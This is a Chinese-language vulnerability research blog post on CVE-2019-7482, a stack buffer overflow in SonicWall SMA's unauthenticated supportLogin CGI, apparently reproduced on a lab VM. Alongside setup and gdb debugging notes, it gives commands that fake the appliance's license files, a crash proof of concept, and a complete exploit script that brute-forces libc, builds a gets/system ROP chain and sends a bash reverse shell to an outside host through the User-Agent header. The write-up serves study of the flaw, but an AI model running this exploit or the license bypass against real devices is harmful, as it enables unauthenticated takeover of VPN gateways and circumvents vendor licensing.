一个简单的漏洞分析。

环境搭建

首先下载虚拟机然后导入到 VMWare 中,可以参考官方文章的一部分1,需要注意的是:

  • 默认密码 root/password
  • 注意绑定的网卡,之后需要手动配置 IP。

之后访问 https://target_ip 就可以进入配置了。

获得 root shell

Info

旧版的 root 比较好拿,新版的可以参考 SonicWall SMA漏洞研究 这一篇文章。

参考 w0lfzhang 的文章2,首先用其他镜像挂载,然后修改 ./etc/passwd 文件,将 root 的登录环境修改为 /bin/sh

没看懂文章是怎么手动调用 sshd 的,只能把 admin 的权限改成 root,这样登录之后可以直接进入 sh,而且不会影响到其他功能的执行。然后在终端中执行:

/usr/sbin/sshd

就可以在外面 ssh 了。默认用户名和密码是 root/password。ssh 后可以顺便设置一下 TERM:

export TERM="xterm"

上传下载文件

Sonicwall 的虚拟机只有 ftp 命令可以用来上传下载文件,需要在本机搭建 ftp 服务器:

python -m pyftpdlib -w -p 2121

License 绕过

看一下 _isRemoteSupportLicensed 函数,这个函数位于 libSys.so 中。

犯懒了,以后需要的时候再看吧。

刚更新完文章就发现 badmonkey 师傅的文章3,因为我们已经有了 root 权限,绕过 license 检查还是很简单的,依次建立对应的文件,并写入相应的内容:

echo "TRUE" > /var/license/Analyzer
echo "1" > /var/license/WAFTService
echo "1" > /var/license/GeoIPBotnetService
echo "1" > /var/license/WAFService
echo "1" > /var/license/GeoIPBotnetService
echo "TRUE" > /var/license/ViewPoint
echo "10" > /tmp/captureatp
echo "10" > /var/license/VirtualAssist
echo "10" > /var/license/spikeLicenseActive
echo "10" > /var/license/spikeLicenseCount
echo "10" > /var/license/userLicense
echo "1" > /etc/EasyAccess/var/license/OPSWATLicense
echo "TRUE" > /var/license/CSC

漏洞分析

Sonicwall 使用了 Apache httpd 作为 Web 服务,大部分功能是自己实现的相关 cgi 且大部分 cgi 需要认证,不过有几个是不需要的。CVE-2019-7482 的漏洞点在 supportLogin.cgi 中,这个 cgi 就无需认证。漏洞位于 getSafariVersion 函数中,它的真正实现位于 libSys.so 中:

/lib/libSys.so
int __cdecl getSafariVersion(char *a1, int *a2, int *a3, int *a4)
{
  ... ...
  char dest[44]; // [esp+10h] [ebp-3Ch] BYREF
 
  v4 = 0;
  if ( strstr(a1, "Safari") && !strstr(a1, "Chrome") )
  {
    v6 = strstr(a1, "Version/") + 8;
    v7 = strchr(v6, ' ');
    if ( v7 )
    {
      for ( i = 0; i < 0x20; i += 4 )
        *(_DWORD *)&dest[i] = 0;
      memcpy(dest, v6, v7 - v6);
      v9 = strchr(dest, '.');

这一段函数会将 UA 中 “Version/” 后直到空格之间的内容都复制到栈缓冲区上,且没有检查长度限制。由于该缓冲区长度只有 44 字节,因此存在溢出。

执行环境研究

在 httpd 执行的过程中,带有 root 权限的 httpd 主进程会 fork 出多个 httpd 子进程,并将它们的权限设置为 nobody:

root@sslvpn:/tmp # ps aux | grep httpd
nobody    1217  0.0  0.1  16064  5084 ?        S    Mar02   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1482  0.0  0.1  16068  5088 ?        S    Mar02   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1503  0.0  0.1  16064  5084 ?        S    Mar02   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1526  0.0  0.1  16068  5088 ?        S    Mar02   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1582  0.0  0.1  16068  5088 ?        S    00:03   0:00 /usr/src/EasyAccess/bin/httpd
root      1592  0.1  0.1  15944  5964 ?        Ss   Mar02   1:22 /usr/src/EasyAccess/bin/httpd
nobody    2683  0.0  0.1  16068  5088 ?        S    01:48   0:00 /usr/src/EasyAccess/bin/httpd

然后 nobody 权限的 httpd 再去执行 cgi 程序,因此因此就算获得了权限也是 nobody。

APR 模型

APR 进程封装采用了传统的 fork-exec 配合方式(spawn),即父进程在 fork 出子进程后继续执行其自己的代码,而子进程调用 exec 函数加载新的程序映像到其地址空间,执行新的程序。4

看一下程序的保护措施:

$ checksec supportLogin && checksec libSys.so
[*] ...supportLogin'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] ...libSys.so'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

都没有开栈保护,supportLogin 没开 PIE,但是开了 NX。

接下来看地址随机化:

root@sslvpn:/tmp # cat /proc/sys/kernel/randomize_va_space
2

地址随机化也开了。可能到这你会发现这在 ctf 中就是个简单的栈溢出,但是一般来说 ctf 中的 pwn 是可以跟 stdio,stdout 进行交互的,就是说他输出的内容你可以正常接受,你也可以通过键盘输入你想输入的东西,一切都看似很正常。但是因为这里 cgi 运行的是在真实的 web 服务器上,跟它的交互也只能是 socket,而在真实的 web 服务器上你是无法知道 socket 对应的 fd 是什么的。而且就算知道 fd 了,fd 上的数据也是 httpd 在处理,而不是对应的 cgi 在处理。而且以前针对地址随机化的处理方法都是泄露 libc 地址等,但是这里也因为以上原因是无法通过 fd 来接受泄露数据。

调试环境搭建

还有一个问题,怎么调试 cgi?因为 cgi 的调试不可以像普通程序那样直接 attach 调试,cgi 的启动是由 httpd 执行的,把包发过去一瞬间就执行完了,根本没有机会 attach。

首先看一下调试方法,w0lfzhang 的文章 2 提到:

在虚拟机中运行:

while true;  do a= `pgrep supportLogin`;if [ -n "$a" ]; then /tmp/gdbserver :1234 --attach $a; else echo 'not'; fi;done

然后正常不断的发送 http 数据包即可,会有一定几率 attach 到 cgi 程序。

我尝试了这一种方法,但是没能成功,发现产生了 gdbserver 参数的报错,在 echo 了一下 $a 的时候发现它有两行,因此我继续尝试只取头或只取尾:

while true;  do a=`pgrep supportLogin|head/tail -n 1`;if [ -n "$a" ]; then /root/gdbserver :1234 --attach $a ; fi;done

效果可以认为没有,要么 No such process,要么 Operation not permitted (1), process 13150 is a zombie - the process has already terminated。

尝试抓一下是哪个 httpd 启动了这个进程吧,改造一下上面的命令,输出进程树:

while true; do a=`ps -ejH` && b=`echo -e "$a"|grep supportLogin` ;if [ -n "$b" ]; then echo -e "$a" ; fi;done

呃,发现所有 nobody 权限的 httpd 都有可能启动 cgi 进程。

感谢嘉木,发现一种新的调试方法。由于有多个 httpd 子进程,它们是随机执行 cgi 程序的,因此我们可以先 attach 到一个 httpd 子进程上,先在 fork 上下断点:

b fork

接着 continue 执行,在外部发送多次 poc,触发我们 attach 的这个进程的断点,接下来在 gdb 中执行:

set follow-fork-mode child
catch exec

继续 continue 就走进 supportLogin 进程了。当然,在进入 supportLogin 后,别忘了删除过去的操作,要不然就会跳进其他进程了:

set follow-fork-mode parent
delete breakpoints 1
delete breakpoints 2

失败的尝试

我最开始也尝试了类似的方法,不过我是用 gdbserver 挂 httpd,尝试在外面调试,但是也许是 gdb 和 gdbserver 版本相差太大的原因,在外面可以 catch fork 但是没有办法 catch exec,两边都不能 catch syscall。

漏洞复现

继续调试,然后发现它会在这个逻辑退出:

  if ( !isRemoteSupportLicensed() )
  {
    fwrite("Pragma: supportSAC\r\n", 1u, 0x14u, gcgiOut);
    v87 = GST("Virtual Assist is not licensed for this appliance.");
    fprintf(gcgiOut, "X-NE-message: %s\n", v87);
    fwrite("Content-Type: Text/HTML\n\n", 1u, 0x19u, gcgiOut);
    memset(&STACK[0x478], 0, 0x100u);
    snprintf(
      (char *)&STACK[0x478],
      0x100u,
      "%s?err=Virtual Assist is not licensed for this appliance",
      "/cgi-bin/welcome");
    redirectApi(gcgiOut, &STACK[0x478]);
    return v120;
  }

简而言之就是没有 license。如果单纯想复现漏洞的话很简单,我们把汇编 patch 掉即可:

.text:080499F7                 call    _isRemoteSupportLicensed
.text:080499FC                 test    eax, eax # 改为 nop 即可

Info

可以不用 patch,直接 bypass

正如上文提过的那样,httpd 只有在接收到请求之后才会拉起 cgi 进程,因此我们可以在 patch supportLogin 之后将原始文件覆盖。

接下来简单发包就可以触发 crash 了:

def poc():
    user_agent = "plop Mac OS X Safari Version/12" + "A"*99 + " lol"
    session = requests.Session()
 
    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7",
        "Content-Type": "application/json",
 
        "User-Agent": user_agent,
    }
    response = session.post(
        "https://192.168.102.23/cgi-bin/supportLogin", headers=headers, verify=False)
 
    print("Status code:   %i" % response.status_code)

正常的返回值是 200,crash 的返回值是 500,当然,因为我们已经有了调试环境,也可以通过 GDB 查看程序状态:

0x08049a00 in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xb76f2c98 in getSafariVersion () from /lib/libSys.so

发现确实是在 getSafariVersion 函数中触发了栈溢出。

漏洞利用

在这里我们已经完成一大半工作了,之前在执行环境研究中我们发现系统开启了随机化,而且我们只能通过 socket 进行交互,现在的问题只剩下两个了:

  1. 怎样控制输入实现 ROP;
  2. 如何绕过地址随机化。

对于第一个问题,cgi 程序的输入来自于 httpd 执行时的标准输入和环境变量5,因此我们可以将要执行的命令放在固定的 bss 段:

$ readelf -S supportLogin
There are 27 section headers, starting at offset 0x5c34:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
... ...
  [24] .bss              NOBITS          0804eb4c 005b4c 00000c 00  WA  0   0  4
... ...

在 ROP 的过程中还需要解决一个问题就是 \x00 是进不去的,所以不能调用 read 等函数来读取数据,但是可以调用 fgets 函数,该函数就一个参数,直接设置成 bss 段地址即可,不包含 \x00 字符。

我看了半天才发现 w0lfzhang 师傅想说的应该是 gets 函数而不是 fgets 函数,我还想 fgets 函数有三个参数为什么没有做 ROPgadget,对照着师傅的 payload 也证明了是 gets 函数。

对于第二个问题,如果我们尝试手动执行 supportLogin,会发现它的 libc 的地址位于 0x40xxx000 开头的位置,而真正执行的时候会发现 libc 地址位于 0xb7xxx000 所在的位置。我们可以固定一个 libc 地址然后爆破。

最终 exp:

#!/usr/bin/env python
import requests
import urllib3
import struct
import time
 
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)
 
 
def p32(a):
    return struct.pack("<I", a)
 
 
'''
\xc0\x1f\x55\x40  system
0x40514000
gets: 0x40577590
\x90\x75\x57\x40
bss: 0x0804EB5C
\x5c\xeb\x04\x08
 
\x90\x75\x57\x40\xc0\x1f\x55\x40\x5c\xeb\x04\x08eeee\x5c\xeb\x04\x08
sleep: 0x405b5840
'''
 
 
def pwn(libc):
    system = libc + (0x40551fc0 - 0x40514000)  # 0x3dfc0
    # print hex(system)
    fgets = libc + (0x40577590 - 0x40514000)
    sleep = libc + (0x405b5840 - 0x40514000)
    # print hex(fgets)
    user_agent = b'/bin/bash -i >& /dev/tcp/192.168.102.128/9090 0>&1;#plop Mac OS X Safari Version/' + \
        b'A'*60 + \
        p32(fgets) + p32(system) + \
        b'\x5c\xeb\x04\x08\x5c\xeb\x04\x08\x5c\xeb\x04\x08' + b' lol'
 
    data = "/bin/bash -i >& /dev/tcp/192.168.102.128/9090 0>&1;"
 
    session = requests.Session()
 
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Connection": "close",
               "User-Agent": user_agent, "Sec-Fetch-Site": "none", "Sec-Fetch-Dest": "document", "Sec-Fetch-User": "?1", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7", "Sec-Fetch-Mode": "navigate"}
    # cookies = {"SessURL":"https%3A%2F%2F192.168.102.128%2Fcgi-bin%2Fwelcome"}
    response = session.post("https://192.168.102.23/cgi-bin/supportLogin",
                            headers=headers, data=data, verify=False)
 
    # print("Status code:   %i" % response.status_code)
    # print("Response body: %s" % response.content)
 
 
def main():
    libc = 0xb7203000
    while True:
        try:
            print('[+] libc = ' + hex(libc))
            pwn(libc)
            libc += 0x1000
            # time.sleep(1)
        except:
            continue
 
 
# main()
print("[+] exploiting...")
while True:
    try:
        pwn(0xb7083000)
    except Exception as e:
        print(e)
 

Footnotes

  1. How can I deploy the SonicWall SRA Virtual appliance?

  2. sonicwall SMA100缓冲区溢出漏洞分析与利用 2

  3. SonicWall SMA 漏洞研究

  4. APR介绍

  5. CGI 和 FastCGI 协议的运行原理